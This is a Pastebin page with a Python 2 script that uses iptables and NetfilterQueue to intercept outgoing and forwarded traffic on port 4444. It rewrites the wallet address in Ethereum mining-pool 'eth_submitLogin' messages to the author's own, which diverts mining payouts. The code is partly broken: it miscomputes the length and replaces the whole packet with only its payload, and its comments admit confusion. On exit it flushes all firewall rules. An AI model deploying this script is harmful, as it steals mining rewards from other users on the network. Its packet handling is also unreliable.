Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python2
- import os
- from netfilterqueue import NetfilterQueue
- import logging
- logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
- from scapy.all import *
- import re
- # Jail it
- os.system('iptables -A OUTPUT -o enp2s0 -p tcp --dport 4444 -j NFQUEUE --queue-num 1')
- os.system('iptables -A FORWARD -p tcp --dport 4444 -j NFQUEUE --queue-num 1')
- my_eth_address = '0xcorrectadresshere'
- def handle_pkt(payload):
- # decode data
- data = payload.get_payload()
- pkt = IP(data)
- payload_before = len(pkt[TCP].payload) # len
- payload_text = str(pkt[TCP].payload)
- # watchout for missmatching adress
- if "eth_submitLogin" in payload_text:
- payload_mod = payload_text
- #if my_eth_address not in payload_text:
- print( "modified:" )
- print( str(pkt[TCP].payload) )
- payload_mod = re.sub(r'0x.{40}', my_eth_address, payload_text)
- pkt[TCP].payload = payload_mod
- payload_after = len(payload_text) # len
- payload_dif = payload_after - payload_before
- pkt[IP].len = pkt[IP].len + payload_dif
- pkt[IP].ttl = 40 # changed from : pkt[IP].payload_textttl = 40 - no such method. I am not sure what this line does
- payload.set_payload( payload_mod.encode() )
- del pkt[IP].chksum
- del pkt[TCP].chksum
- #payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt)) # die - no such method
- print( str(pkt[TCP].payload) )
- payload.accept()
- nfqueue = NetfilterQueue()
- nfqueue.bind(1, handle_pkt)
- try:
- nfqueue.run()
- except KeyboardInterrupt:
- print('exito')
- nfqueue.unbind()
- os.system('iptables -F')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement